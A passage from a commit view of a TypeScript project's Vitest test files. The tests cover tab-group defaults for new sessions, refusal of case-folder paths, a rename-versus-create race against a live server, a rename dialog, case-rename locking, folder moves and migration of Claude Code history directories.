it('places a session for the case into its default group in the creating write', async () => {
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
h.defaults.alice = { app: 'g2' };
const layout = await h.service.sessionCreated(
'alice',
'new',
{ caseName: 'app' },
h.register({ id: 'new', owner: 'alice', createdAt: 3 })
);
expect(idsIn(layout, 'g2')).toEqual(['new']);
expect(idsIn(layout, null)).toEqual(['b']);
expect(layout.version).toBe(8);
// One versioned write: no transient Ungrouped layout was ever committed.
expect(h.store.commitTabLayoutProjection).toHaveBeenCalledTimes(1);
});
it('an explicit tabGroupId wins over the case default', async () => {
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
h.defaults.alice = { app: 'g2' };
const layout = await h.service.sessionCreated(
'alice',
'new',
{ caseName: 'app', tabGroupId: 'g1' },
h.register({ id: 'new', owner: 'alice', createdAt: 3 })
);
expect(idsIn(layout, 'g1')).toEqual(['a', 'new']);
expect(idsIn(layout, 'g2')).toEqual([]);
});
it('an unknown explicit group falls through to the case default', async () => {
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
h.defaults.alice = { app: 'g2' };
const layout = await h.service.sessionCreated(
'alice',
'new',
{ caseName: 'app', tabGroupId: 'gone' },
h.register({ id: 'new', owner: 'alice', createdAt: 3 })
);
expect(idsIn(layout, 'g2')).toEqual(['new']);
});
it.each([true, false])('the parent placement wins over the case default (follow=%s)', async (follow) => {
const h = createHarness({ layouts: { alice: grouped() }, live: facts(), follow });
h.defaults.alice = { app: 'g2' };
const layout = await h.service.sessionCreated(
'alice',
'child',
{ caseName: 'app' },
h.register({ id: 'child', owner: 'alice', createdAt: 3, parentSessionId: 'a' })
);
expect(idsIn(layout, 'g1')).toEqual(['a', 'child']);
expect(idsIn(layout, 'g2')).toEqual([]);
});
it('a parent that is not in the layout does not block the case default', async () => {
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
h.defaults.alice = { app: 'g2' };
const layout = await h.service.sessionCreated(
'alice',
'orphan',
{ caseName: 'app' },
h.register({ id: 'orphan', owner: 'alice', createdAt: 3, parentSessionId: 'nobody' })
);
expect(idsIn(layout, 'g2')).toEqual(['orphan']);
});
it('an intentional Ungrouped default (null) or no default leaves the session ungrouped', async () => {
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
h.defaults.alice = { app: null };
const first = await h.service.sessionCreated(
'alice',
'n1',
{ caseName: 'app' },
h.register({ id: 'n1', owner: 'alice', createdAt: 3 })
);
expect(idsIn(first, null)).toEqual(['b', 'n1']);
const second = await h.service.sessionCreated(
'alice',
'n2',
{ caseName: 'unset' },
h.register({ id: 'n2', owner: 'alice', createdAt: 4 })
);
expect(idsIn(second, null)).toEqual(['b', 'n1', 'n2']);
});
it('a deleted default group never fails creation: Ungrouped, and the stale value is cleared', async () => {
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
h.defaults.alice = { app: 'deleted-group' };
const layout = await h.service.sessionCreated(
'alice',
'new',
{ caseName: 'app' },
h.register({ id: 'new', owner: 'alice', createdAt: 3 })
);
expect(idsIn(layout, null)).toEqual(['b', 'new']);
expect(h.caseDefaults.getCaseDefaultGroup('alice', 'app')).toBeUndefined();
});
it("never applies another owner's group id", async () => {
const h = createHarness({
layouts: { alice: grouped(), bob: { ...grouped(3), groups: [], ungrouped: [] } },
live: [...facts()],
});
// A value naming alice's group, stored under bob, is not found in bob's layout.
h.defaults.bob = { app: 'g1' };
const layout = await h.service.sessionCreated(
'bob',
'bob-new',
{ caseName: 'app' },
h.register({ id: 'bob-new', owner: 'bob', createdAt: 5 })
);
expect(layout.groups).toEqual([]);
expect(idsIn(layout, null)).toEqual(['bob-new']);
expect(idsIn(h.layouts.alice, 'g1')).toEqual(['a']);
});
it('a renamed group keeps receiving sessions (the default is the stable id)', async () => {
const renamed = grouped();
renamed.groups[1] = { ...renamed.groups[1], name: 'Operations' };
const h = createHarness({ layouts: { alice: renamed }, live: facts() });
h.defaults.alice = { app: 'g2' };
const layout = await h.service.sessionCreated(
'alice',
'new',
{ caseName: 'app' },
h.register({ id: 'new', owner: 'alice', createdAt: 3 })
);
expect(layout.groups[1]).toMatchObject({ id: 'g2', name: 'Operations' });
expect(idsIn(layout, 'g2')).toEqual(['new']);
});
it('changing the default never moves an existing session', async () => {
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
h.defaults.alice = { app: 'g2' };
await h.service.sessionCreated(
'alice',
's1',
{ caseName: 'app' },
h.register({ id: 's1', owner: 'alice', createdAt: 3 })
);
await h.service.setCaseDefaultGroup('alice', 'app', 'g1');
const layout = await h.service.sessionCreated(
'alice',
's2',
{ caseName: 'app' },
h.register({ id: 's2', owner: 'alice', createdAt: 4 })
);
expect(idsIn(layout, 'g2')).toEqual(['s1']);
expect(idsIn(layout, 'g1')).toEqual(['a', 's2']);
});
it('a failed layout write rolls the registration back and writes no case default change', async () => {
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
h.defaults.alice = { app: 'deleted-group' };
h.store.commitTabLayoutProjection.mockImplementationOnce(() => {
throw new Error('disk full');
});
const added = h.register({ id: 'new', owner: 'alice', createdAt: 3 });
await expect(h.service.sessionCreated('alice', 'new', { caseName: 'app' }, added)).rejects.toThrow('disk full');
expect(h.live.has('new')).toBe(false);
expect(h.layouts.alice).toEqual(grouped());
expect(h.caseDefaults.setCaseDefaultGroup).not.toHaveBeenCalled();
expect(h.caseDefaults.deleteCaseDefaultGroup).not.toHaveBeenCalled();
});
});
describe('TabLayoutService case default reads and writes', () => {
it('reports the selection with the owner group options, and a stale id as Ungrouped without writing', async () => {
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
expect(await h.service.caseDefaultGroup('alice', 'app')).toEqual({
groupId: null,
groups: [
{ id: 'g1', name: 'Core' },
{ id: 'g2', name: 'Ops' },
],
});
h.defaults.alice = { app: 'gone' };
expect((await h.service.caseDefaultGroup('alice', 'app')).groupId).toBeNull();
// A read never writes: the next creation for the case is what forgets the stale id.
expect(h.caseDefaults.deleteCaseDefaultGroup).not.toHaveBeenCalled();
expect(h.caseDefaults.getCaseDefaultGroup('alice', 'app')).toBe('gone');
});
it('saves a known group or null, and refuses an id that is not in the owner layout', async () => {
const h = createHarness({ layouts: { alice: grouped(), bob: { ...grouped(1), groups: [] } }, live: facts() });
await h.service.setCaseDefaultGroup('alice', 'app', 'g2');
expect(h.defaults.alice.app).toBe('g2');
await h.service.setCaseDefaultGroup('alice', 'app', null);
expect(h.defaults.alice.app).toBeNull();
await expect(h.service.setCaseDefaultGroup('bob', 'app', 'g1')).rejects.toBeInstanceOf(TabLayoutValidationError);
expect(h.defaults.bob).toBeUndefined();
});
it('forgets a mapping when its case goes away', async () => {
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
h.defaults.alice = { app: 'g1' };
await h.service.forgetCaseDefaultGroup('alice', 'app');
expect(h.caseDefaults.getCaseDefaultGroup('alice', 'app')).toBeUndefined();
});
});
+16 -1
View File
@@ -54,14 +54,29 @@ describe('blockedReason', () => {
expect(blockedReason('/usrlocal', c)).toBeNull();
});
it('refuses a cases directory and anything inside it, when given', () => {
it('refuses a cases directory and its direct children, when given', () => {
const withCases = { ...c, casesDirs: ['/home/u/codeman-cases'] };
expect(blockedReason('/home/u/codeman-cases', withCases)).toMatch(/plain Create New/);
expect(blockedReason('/home/u/codeman-cases/foo', withCases)).toMatch(/plain Create New/);
expect(blockedReason('/home/u/codeman-cases/foo', withCases)).toContain('/home/u/codeman-cases');
// Two messages: the cases folder is not "in" itself, and a child that does not exist yet is not
// "already" listed.
expect(blockedReason('/home/u/codeman-cases', withCases)).toMatch(/cases folder itself/);
expect(blockedReason('/home/u/codeman-cases/foo', withCases)).toMatch(/directly in the cases folder/);
expect(blockedReason('/home/u/codeman-cases/foo', withCases)).not.toMatch(/already/);
expect(blockedReason('/home/u/codeman-cases-old/foo', withCases)).toBeNull();
expect(blockedReason('/home/u/codeman-cases/foo', c)).toBeNull();
});
it('allows a folder deeper than a direct child of the cases directory (it is not listed as a local case)', () => {
// CODEMAN_CASES_PATH can be a broad root such as /mnt/user/Scripts; GET /api/cases lists only its
// direct children, so a folder further down can be linked without appearing twice.
const broad = { ...c, casesDirs: ['/mnt/user/Scripts'] };
expect(blockedReason('/mnt/user/Scripts/GitHub', broad)).toMatch(/plain Create New/);
expect(blockedReason('/mnt/user/Scripts/GitHub/opticon454', broad)).toBeNull();
expect(blockedReason('/mnt/user/Scripts/GitHub/opticon454/app', broad)).toBeNull();
});
it('judges against the system roots it is given', () => {
expect(blockedReason('/private/etc/x', c)).toBeNull();
expect(blockedReason('/private/etc/x', c, ['/private/etc'])).toMatch(/system directory/);
+103
View File
@@ -0,0 +1,103 @@
/**
* @fileoverview A case rename racing a session create, against the real WebServer.
*
* A create constructs its `Session` (which checks the rename lock) and only puts it in the server's session
* map later, after awaiting the owner's layout lock and a settings read. A rename that ran in that gap built its
* list of open sessions without the new one, moved the folder, and the create then registered a session whose
* pane would `cd` into a path that no longer existed. The rename now refuses the move while such a session is
* still being created, and the server's registration is what lets go of it.
*
* The gap is widened by holding the settings read inside `TabLayoutService.sessionCreated()`
* (`childrenFollowParent`), the await between the constructor and the registration callback.
*
* Port: 0 (ephemeral, read back from `server.boundPort`).
*/
import { existsSync, mkdirSync, writeFileSync } from 'node:fs';
import { homedir } from 'node:os';
import { join } from 'node:path';
import { afterAll, beforeAll, describe, expect, it } from 'vitest';
import { WebServer } from '../src/web/server.js';
import { isCaseSessionStarting } from '../src/case-rename.js';
import { safeRmHomeTree } from './mocks/test-helpers.js';
interface LayoutDeps {
childrenFollowParent?: () => Promise<boolean>;
}
let server: WebServer;
const made: string[] = [];
const url = (path: string) => `http://localhost:${server.boundPort}${path}`;
const post = async (path: string, body: unknown) => {
const res = await fetch(url(path), {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify(body),
});
return { status: res.status, json: (await res.json()) as Record<string, any> };
};
const localCase = (name: string) => {
const dir = join(homedir(), 'codeman-cases', name);
mkdirSync(dir, { recursive: true });
writeFileSync(join(dir, 'CLAUDE.md'), name);
made.push(dir);
return dir;
};
beforeAll(async () => {
server = new WebServer(0, false, true);
await server.start();
}, 60000);
afterAll(async () => {
await server?.stop();
for (const dir of made.splice(0)) safeRmHomeTree(dir);
}, 60000);
describe('renaming a case while a session is being created in it', () => {
it('refuses the move until the session is registered, then lists it like any open session', async () => {
const dir = localCase('race-alpha');
made.push(join(homedir(), 'codeman-cases', 'race-beta')); // only there if a rename got through
const deps = (server as unknown as { tabLayouts: { deps: LayoutDeps } }).tabLayouts.deps;
const original = deps.childrenFollowParent;
let reached!: () => void;
const atGap = new Promise<void>((resolve) => (reached = resolve));
let release!: () => void;
const gate = new Promise<void>((resolve) => (release = resolve));
deps.childrenFollowParent = async () => {
reached();
await gate;
return (await original?.()) === true;
};
try {
const create = post('/api/sessions', { workingDir: dir, mode: 'shell' });
await atGap; // constructed, not yet in the server's session map
expect(isCaseSessionStarting(dir)).toBe(true);
// Without the refusal the rename moves the folder and then waits on the owner's layout lock, which the
// held create owns: bound the wait so that shows up as a failure rather than a test timeout.
const busy = await Promise.race([
post('/api/cases/race-alpha/rename', { newName: 'race-beta', stopSessions: true }),
new Promise<null>((resolve) => setTimeout(() => resolve(null), 5000)),
]);
expect(existsSync(dir), 'the folder moved under the session being created').toBe(true);
expect(busy?.status).toBe(409);
expect(busy?.json).toMatchObject({ errorCode: 'CONFLICT', renameCode: 'BUSY' });
deps.childrenFollowParent = original;
release();
const created = await create;
expect(created.status).toBe(200);
const id = created.json.data.session.id as string;
expect(isCaseSessionStarting(dir)).toBe(false);
const listed = await post('/api/cases/race-alpha/rename', { newName: 'race-beta' });
expect(listed.status).toBe(409);
expect(listed.json).toMatchObject({ requiresStop: true, sessions: [{ id }] });
expect(existsSync(dir)).toBe(true);
await fetch(url(`/api/sessions/${id}`), { method: 'DELETE' });
} finally {
deps.childrenFollowParent = original;
release();
}
});
});
+220
View File
@@ -0,0 +1,220 @@
/**
* @fileoverview The Rename dialog's flow in session-ui.js (renameCase / submitRenameCase): it is the app's
* own modal, not a browser prompt; a linked case offers the folder checkbox; live sessions are listed inside
* the dialog and only stopped after a second press; server errors stay in the dialog. Evaluates the real file
* against a stub DOM.
*/
import { describe, expect, it } from 'vitest';
import { readFileSync } from 'node:fs';
import vm from 'node:vm';
const SRC = readFileSync(new URL('../src/web/public/session-ui.js', import.meta.url), 'utf-8');
const HTML = readFileSync(new URL('../src/web/public/index.html', import.meta.url), 'utf-8');
type El = {
value: string;
textContent: string;
checked: boolean;
disabled: boolean;
classes: Set<string>;
classList: {
add(c: string): void;
remove(c: string): void;
toggle(c: string, on?: boolean): void;
contains(c: string): boolean;
};
focus(): void;
select(): void;
};
const el = (hidden = false): El => {
const classes = new Set<string>(hidden ? ['hidden'] : []);
return {
value: '',
textContent: '',
checked: false,
disabled: false,
classes,
classList: {
add: (c) => void classes.add(c),
remove: (c) => void classes.delete(c),
toggle: (c, on) => void ((on ?? !classes.has(c)) ? classes.add(c) : classes.delete(c)),
contains: (c) => classes.has(c),
},
focus() {},
select() {},
};
};
function makeApp(opts: { responses: unknown[]; cases: unknown[]; current?: string }) {
const calls: Array<{ url: string; body: Record<string, unknown> }> = [];
const toasts: string[] = [];
const store = new Map<string, string>([['caseSettings_alpha', '{"agentTeams":true}']]);
const queue = [...opts.responses];
const ids = [
'renameCaseModal',
'renameCaseInput',
'renameCaseLabel',
'renameCaseFolderRow',
'renameCaseFolder',
'renameCaseFolderHint',
'renameCaseNote',
'renameCaseError',
'renameCaseSubmit',
'quickStartCase',
];
const els: Record<string, El> = Object.fromEntries(ids.map((id) => [id, el()]));
els.quickStartCase.value = opts.current ?? 'alpha';
function CodemanApp(this: unknown) {}
const ctx = vm.createContext({
CodemanApp,
window: {},
document: { getElementById: (id: string) => els[id] ?? null },
localStorage: {
getItem: (k: string) => store.get(k) ?? null,
setItem: (k: string, v: string) => void store.set(k, v),
removeItem: (k: string) => void store.delete(k),
},
fetch: async (url: string, init: { body: string }) => {
calls.push({ url, body: JSON.parse(init.body) });
return { json: async () => queue.shift() };
},
escapeHtml: (s: string) => s,
});
vm.runInContext(SRC, ctx);
const app = Object.create((CodemanApp as unknown as { prototype: object }).prototype) as Record<string, any>;
const refreshed: unknown[] = [];
Object.assign(app, {
cases: opts.cases,
showToast: (m: string) => void toasts.push(m),
loadQuickStartCases: async (n: unknown) => void refreshed.push(n),
renderCaseManageList: () => void refreshed.push('render'),
});
return { app, els, calls, toasts, store, refreshed };
}
const ok = { success: true, data: {} };
describe('the Rename dialog is part of the page, not a browser prompt', () => {
it('has its modal in index.html, with the name, folder and error elements the code drives', () => {
for (const id of [
'renameCaseModal',
'renameCaseInput',
'renameCaseFolder',
'renameCaseError',
'renameCaseSubmit',
]) {
expect(HTML).toContain(`id="${id}"`);
}
const fn = SRC.slice(SRC.indexOf('renameCase(name)'), SRC.indexOf('async deleteCase(name)'));
expect(fn).not.toMatch(/\b(prompt|confirm|alert)\(/);
});
});
describe('renameCase / submitRenameCase', () => {
it('opens pre-filled, renames a local case, moves its run options and reselects it under the new name', async () => {
const t = makeApp({ responses: [ok], cases: [{ name: 'alpha', location: 'local' }] });
t.app.renameCase('alpha');
expect(t.els.renameCaseModal.classes.has('active')).toBe(true);
expect(t.els.renameCaseInput.value).toBe('alpha');
expect(t.els.renameCaseFolderRow.classes.has('hidden')).toBe(true);
t.els.renameCaseInput.value = ' beta ';
await t.app.submitRenameCase();
expect(t.calls).toEqual([{ url: '/api/cases/alpha/rename', body: { newName: 'beta' } }]);
expect(t.els.renameCaseModal.classes.has('active')).toBe(false);
expect(t.store.get('caseSettings_beta')).toBe('{"agentTeams":true}');
expect(t.store.has('caseSettings_alpha')).toBe(false);
expect(t.refreshed).toEqual(['beta', 'render']);
});
it('keeps the dialog open with a message for the same name or a name that is not allowed, and sends nothing', async () => {
for (const entered of ['', 'alpha', 'a b', '../x']) {
const t = makeApp({ responses: [], cases: [{ name: 'alpha' }] });
t.app.renameCase('alpha');
t.els.renameCaseInput.value = entered;
await t.app.submitRenameCase();
expect(t.calls, entered).toEqual([]);
expect(t.els.renameCaseError.classes.has('hidden'), entered).toBe(false);
expect(t.els.renameCaseModal.classes.has('active'), entered).toBe(true);
}
});
it('shows the folder checkbox for a linked case and sends its state', async () => {
const t = makeApp({ responses: [ok], cases: [{ name: 'alpha', linked: true, path: '/srv/app' }] });
t.app.renameCase('alpha');
expect(t.els.renameCaseFolderRow.classes.has('hidden')).toBe(false);
expect(t.els.renameCaseFolderHint.textContent).toContain('/srv/app');
t.els.renameCaseInput.value = 'beta';
t.els.renameCaseFolder.checked = true;
await t.app.submitRenameCase();
expect(t.calls[0].body).toEqual({ newName: 'beta', renameFolder: true });
const alias = makeApp({ responses: [ok], cases: [{ name: 'alpha', linked: true, path: '/srv/app' }] });
alias.app.renameCase('alpha');
alias.els.renameCaseInput.value = 'beta';
await alias.app.submitRenameCase();
expect(alias.calls[0].body).toEqual({ newName: 'beta', renameFolder: false });
});
it('lists the live sessions in the dialog and stops them only on the second press', async () => {
const refusal = {
success: false,
error: '1 live session has this folder open.',
requiresStop: true,
sessions: [{ id: 's', name: 'w1-alpha' }],
};
const t = makeApp({ responses: [refusal, ok], cases: [{ name: 'alpha' }] });
t.app.renameCase('alpha');
t.els.renameCaseInput.value = 'beta';
await t.app.submitRenameCase();
expect(t.els.renameCaseError.textContent).toContain('w1-alpha');
// "stop" closes them through the server's session cleanup: say that their tabs go away
expect(t.els.renameCaseError.textContent).toContain('They will be closed (their tabs go away');
expect(t.els.renameCaseSubmit.textContent).toBe('Stop sessions and rename');
expect(t.els.renameCaseModal.classes.has('active')).toBe(true);
expect(t.calls).toHaveLength(1);
await t.app.submitRenameCase();
expect(t.calls.map((c) => c.body)).toEqual([{ newName: 'beta' }, { newName: 'beta', stopSessions: true }]);
expect(t.els.renameCaseModal.classes.has('active')).toBe(false);
});
it('says how many sessions were already closed when the rename fails after closing them', async () => {
const refusal = { success: false, error: 'busy', requiresStop: true, sessions: [{ id: 's', name: 'w1-alpha' }] };
const failed = { success: false, error: 'The registry could not be written.', stoppedSessions: 2 };
const t = makeApp({ responses: [refusal, failed], cases: [{ name: 'alpha' }] });
t.app.renameCase('alpha');
t.els.renameCaseInput.value = 'beta';
await t.app.submitRenameCase();
await t.app.submitRenameCase();
expect(t.els.renameCaseError.textContent).toBe(
'The registry could not be written. (2 sessions were already closed.)'
);
expect(t.els.renameCaseModal.classes.has('active')).toBe(true);
});
it('cancelling the dialog stops nothing and renames nothing', async () => {
const t = makeApp({ responses: [], cases: [{ name: 'alpha' }] });
t.app.renameCase('alpha');
t.app.closeRenameCase();
expect(t.els.renameCaseModal.classes.has('active')).toBe(false);
await t.app.submitRenameCase(); // nothing open: ignored
expect(t.calls).toEqual([]);
});
it('shows the server’s message inside the dialog when the folder is locked, and leaves the lists alone', async () => {
const locked = { success: false, error: 'The folder is in use by another program (EBUSY).' };
const t = makeApp({ responses: [locked], cases: [{ name: 'alpha' }] });
t.app.renameCase('alpha');
t.els.renameCaseInput.value = 'beta';
await t.app.submitRenameCase();
expect(t.els.renameCaseError.textContent).toBe('The folder is in use by another program (EBUSY).');
expect(t.els.renameCaseModal.classes.has('active')).toBe(true);
expect(t.els.renameCaseSubmit.disabled).toBe(false); // the name can be fixed and tried again
expect(t.toasts).toEqual([]);
expect(t.refreshed).toEqual([]);
expect(t.store.has('caseSettings_alpha')).toBe(true);
});
});
+241
View File
@@ -0,0 +1,241 @@
/**
* @fileoverview src/case-rename.ts: the in-process lock, the record of sessions still being created, the
* retried folder move and Claude history migration. Real filesystem under test/setup.ts's temp HOME. Port: N/A.
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { existsSync, mkdirSync, mkdtempSync, readFileSync, symlinkSync, writeFileSync } from 'node:fs';
import fsp from 'node:fs/promises';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import {
CaseRenameError,
caseSessionSettled,
claudeProjectDirName,
isCasePathLocked,
isCaseSessionStarting,
moveCaseFolder,
noteCaseSessionStarting,
moveClaudeHistory,
renameInOrder,
siblingPath,
withCaseLock,
} from '../src/case-rename.js';
import { Session } from '../src/session.js';
const roots: string[] = [];
const tmp = () => {
const dir = mkdtempSync(join(tmpdir(), 'case-rename-'));
roots.push(dir);
return dir;
};
afterEach(async () => {
vi.restoreAllMocks();
for (const dir of roots.splice(0)) await fsp.rm(dir, { recursive: true, force: true });
});
describe('withCaseLock', () => {
it('holds both paths and everything inside them for the length of the call, then lets go', async () => {
const root = tmp();
const from = join(root, 'old');
const to = join(root, 'new');
let during: boolean[] = [];
await withCaseLock(from, to, async () => {
during = [
isCasePathLocked(from),
isCasePathLocked(join(from, 'src')),
isCasePathLocked(to),
isCasePathLocked(root),
];
});
expect(during).toEqual([true, true, true, false]);
expect(isCasePathLocked(from)).toBe(false);
expect(isCasePathLocked(to)).toBe(false);
});
it('refuses an overlapping rename with BUSY and releases on failure', async () => {
const root = tmp();
await withCaseLock(join(root, 'a'), join(root, 'b'), async () => {
await expect(withCaseLock(join(root, 'b'), join(root, 'c'), async () => {})).rejects.toMatchObject({
code: 'BUSY',
});
await expect(withCaseLock(join(root, 'a', 'inner'), join(root, 'x'), async () => {})).rejects.toBeInstanceOf(
CaseRenameError
);
});
await expect(
withCaseLock(join(root, 'a'), join(root, 'b'), async () => {
throw new Error('boom');
})
).rejects.toThrow('boom');
expect(isCasePathLocked(join(root, 'a'))).toBe(false);
});
it('keeps a session from starting in a folder that is being moved', async () => {
const root = tmp();
const from = join(root, 'case');
mkdirSync(from);
await withCaseLock(from, join(root, 'renamed'), async () => {
expect(() => new Session({ workingDir: from })).toThrow(/being renamed/);
expect(() => new Session({ workingDir: join(from, 'sub') })).toThrow(/being renamed/);
});
});
});
describe('sessions still being created', () => {
it('counts a constructed session as starting in its folder until the server settles it', () => {
const root = tmp();
const dir = join(root, 'case');
const session = new Session({ workingDir: join(dir, 'sub') });
expect(isCaseSessionStarting(dir)).toBe(true);
expect(isCaseSessionStarting(join(dir, 'sub'))).toBe(true);
expect(isCaseSessionStarting(join(dir, 'other'))).toBe(false);
expect(isCaseSessionStarting(`${dir}-2`)).toBe(false);
caseSessionSettled(session);
expect(isCaseSessionStarting(dir)).toBe(false);
});
it('lets go of a session that is stopped, and of one never registered once a while has passed', async () => {
const root = tmp();
const stopped = new Session({ workingDir: root });
await stopped.stop();
expect(isCaseSessionStarting(root)).toBe(false);
// a create that failed before registering, or a one-shot prompt that never registers
const lost = {};
noteCaseSessionStarting(lost, root, 1000);
expect(isCaseSessionStarting(root, 1000 + 29_999)).toBe(true);
expect(isCaseSessionStarting(root, 1000 + 30_000)).toBe(false);
});
});
describe('moveCaseFolder', () => {
it('moves a folder and its contents', async () => {
const root = tmp();
mkdirSync(join(root, 'old'));
writeFileSync(join(root, 'old', 'CLAUDE.md'), 'x');
await moveCaseFolder(join(root, 'old'), join(root, 'new'));
expect(existsSync(join(root, 'old'))).toBe(false);
expect(existsSync(join(root, 'new', 'CLAUDE.md'))).toBe(true);
});
it('never replaces an existing folder, even an empty one that rename would silently overwrite', async () => {
const root = tmp();
mkdirSync(join(root, 'old'));
mkdirSync(join(root, 'taken'));
await expect(moveCaseFolder(join(root, 'old'), join(root, 'taken'))).rejects.toMatchObject({ code: 'EXISTS' });
expect(existsSync(join(root, 'old'))).toBe(true);
});
it('retries a lock error, and succeeds once the other program lets go', async () => {
const root = tmp();
mkdirSync(join(root, 'old'));
const real = fsp.rename.bind(fsp);
let calls = 0;
vi.spyOn(fsp, 'rename').mockImplementation(async (a, b) => {
if (++calls < 3) throw Object.assign(new Error('busy'), { code: 'EBUSY' });
return real(a, b);
});
await moveCaseFolder(join(root, 'old'), join(root, 'new'), 4, 1);
expect(calls).toBe(3);
expect(existsSync(join(root, 'new'))).toBe(true);
});
it('reports a lock that never clears as LOCKED, with what to do about it', async () => {
const root = tmp();
mkdirSync(join(root, 'old'));
vi.spyOn(fsp, 'rename').mockRejectedValue(Object.assign(new Error('perm'), { code: 'EPERM' }));
const err = await moveCaseFolder(join(root, 'old'), join(root, 'new'), 2, 1).catch((e) => e);
expect(err).toBeInstanceOf(CaseRenameError);
expect(err.code).toBe('LOCKED');
expect(err.message).toMatch(/in use by another program/);
expect(existsSync(join(root, 'old'))).toBe(true);
});
it('refuses to cross filesystems', async () => {
const root = tmp();
mkdirSync(join(root, 'old'));
vi.spyOn(fsp, 'rename').mockRejectedValue(Object.assign(new Error('xdev'), { code: 'EXDEV' }));
await expect(moveCaseFolder(join(root, 'old'), join(root, 'new'))).rejects.toMatchObject({ code: 'CROSS_DEVICE' });
});
});
describe('Claude history', () => {
it('names a project directory the way Claude Code does', () => {
expect(claudeProjectDirName('/home/devvyn/codeman-cases/my_case')).toBe('-home-devvyn-codeman-cases-my-case');
expect(claudeProjectDirName('/home/devvyn/.dotcase')).toBe('-home-devvyn--dotcase');
});
it('moves the old path’s history to the new one', async () => {
const cfg = tmp();
const projects = join(cfg, 'projects');
const oldPath = join(tmp(), 'alpha');
const newPath = join(tmp(), 'beta');
mkdirSync(join(projects, claudeProjectDirName(oldPath)), { recursive: true });
writeFileSync(join(projects, claudeProjectDirName(oldPath), 'c.jsonl'), '{}');
expect(await moveClaudeHistory(oldPath, newPath, cfg)).toBe(true);
expect(existsSync(join(projects, claudeProjectDirName(newPath), 'c.jsonl'))).toBe(true);
expect(existsSync(join(projects, claudeProjectDirName(oldPath)))).toBe(false);
expect(await moveClaudeHistory(join(tmp(), 'none'), newPath, cfg)).toBe(false);
});
it('merges into history already at the new path (a deleted case’s leftovers) without overwriting any of it', async () => {
const cfg = tmp();
const projects = join(cfg, 'projects');
const oldPath = join(tmp(), 'alpha');
const newPath = join(tmp(), 'beta');
const from = join(projects, claudeProjectDirName(oldPath));
const to = join(projects, claudeProjectDirName(newPath));
mkdirSync(join(from, 'conv-a', 'subagents'), { recursive: true });
writeFileSync(join(from, 'conv-a.jsonl'), 'alpha');
writeFileSync(join(from, 'conv-a', 'subagents', 'agent-1.jsonl'), 'alpha agent');
mkdirSync(join(from, 'memory'));
writeFileSync(join(from, 'memory', 'MEMORY.md'), 'alpha memory');
// Claude Code never removes a project directory, so a case deleted earlier under the new name left this.
mkdirSync(join(to, 'memory'), { recursive: true });
writeFileSync(join(to, 'conv-old.jsonl'), 'old beta');
writeFileSync(join(to, 'memory', 'MEMORY.md'), 'old beta memory');
expect(await moveClaudeHistory(oldPath, newPath, cfg)).toBe(true);
expect(readFileSync(join(to, 'conv-a.jsonl'), 'utf8')).toBe('alpha');
expect(readFileSync(join(to, 'conv-a', 'subagents', 'agent-1.jsonl'), 'utf8')).toBe('alpha agent');
expect(readFileSync(join(to, 'conv-old.jsonl'), 'utf8')).toBe('old beta');
// an entry both have is never overwritten: it stays where it was
expect(readFileSync(join(to, 'memory', 'MEMORY.md'), 'utf8')).toBe('old beta memory');
expect(readFileSync(join(from, 'memory', 'MEMORY.md'), 'utf8')).toBe('alpha memory');
expect(existsSync(join(from, 'conv-a.jsonl'))).toBe(false);
});
it('removes the old project directory once a merge has emptied it, and never merges into a symlink', async () => {
const cfg = tmp();
const projects = join(cfg, 'projects');
const oldPath = join(tmp(), 'alpha');
const newPath = join(tmp(), 'beta');
const from = join(projects, claudeProjectDirName(oldPath));
const to = join(projects, claudeProjectDirName(newPath));
mkdirSync(from, { recursive: true });
mkdirSync(to, { recursive: true });
writeFileSync(join(from, 'conv-a.jsonl'), 'alpha');
expect(await moveClaudeHistory(oldPath, newPath, cfg)).toBe(true);
expect(existsSync(from)).toBe(false);
const elsewhere = tmp();
const linkedPath = join(tmp(), 'gamma');
mkdirSync(from);
writeFileSync(join(from, 'conv-b.jsonl'), 'alpha');
symlinkSync(elsewhere, join(projects, claudeProjectDirName(linkedPath)));
expect(await moveClaudeHistory(oldPath, linkedPath, cfg)).toBe(false);
expect(existsSync(join(from, 'conv-b.jsonl'))).toBe(true);
expect(existsSync(join(elsewhere, 'conv-b.jsonl'))).toBe(false);
});
});
describe('small helpers', () => {
it('renames in an order list keeping the position, and says nothing when absent', () => {
expect(renameInOrder(['a', 'b', 'c'], 'b', 'z')).toEqual(['a', 'z', 'c']);
expect(renameInOrder(['a'], 'q', 'z')).toBeNull();
expect(renameInOrder(undefined, 'a', 'z')).toBeNull();
});
it('puts the new name next to the old folder', () => {
expect(siblingPath('/srv/work/app', 'app2')).toBe('/srv/work/app2');
});
});
+751
View File
@@ -0,0 +1,751 @@
/**
* @fileoverview scripts/check-local-model-catalog.mjs, the weekly check of the local model
* catalogue: which build a Mac pulls from a manifest list, the pull total, how a row's drift is
* classified, the exit code, the report text, and that the IO side only ever asks for
* manifests, child manifests and configs (never a layer). The network is never used: the IO
* tests drive a fake registry and a fake GitHub API.
*
* The fixtures under test/fixtures/local-model-catalog/ are real bodies the registry served on
* 2026-11-08 for `qwen3.6:35b-a3b`, byte for byte, so their digests are the real ones.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import { describe, expect, it } from 'vitest';
import {
CheckFailure,
MANIFEST_ACCEPT,
MAX_MANIFEST_BYTES,
MEDIA_TYPE_MANIFEST,
MEDIA_TYPE_MANIFEST_LIST,
SIZE_TOLERANCE_FRACTION,
boundedGet,
catalogueRunner,
classifyModel,
classifyRuntime,
compareVersions,
exitCodeFor,
formatPercent,
groupDigits,
inspectModel,
metadataForConfig,
normalizeDigest,
parseVersion,
pullTotalBytes,
renderReport,
runCheck,
selectMacChild,
sha256Digest,
splitModelId,
withinTolerance,
} from '../scripts/check-local-model-catalog.mjs';
const fixtureDir = resolve(import.meta.dirname, 'fixtures/local-model-catalog');
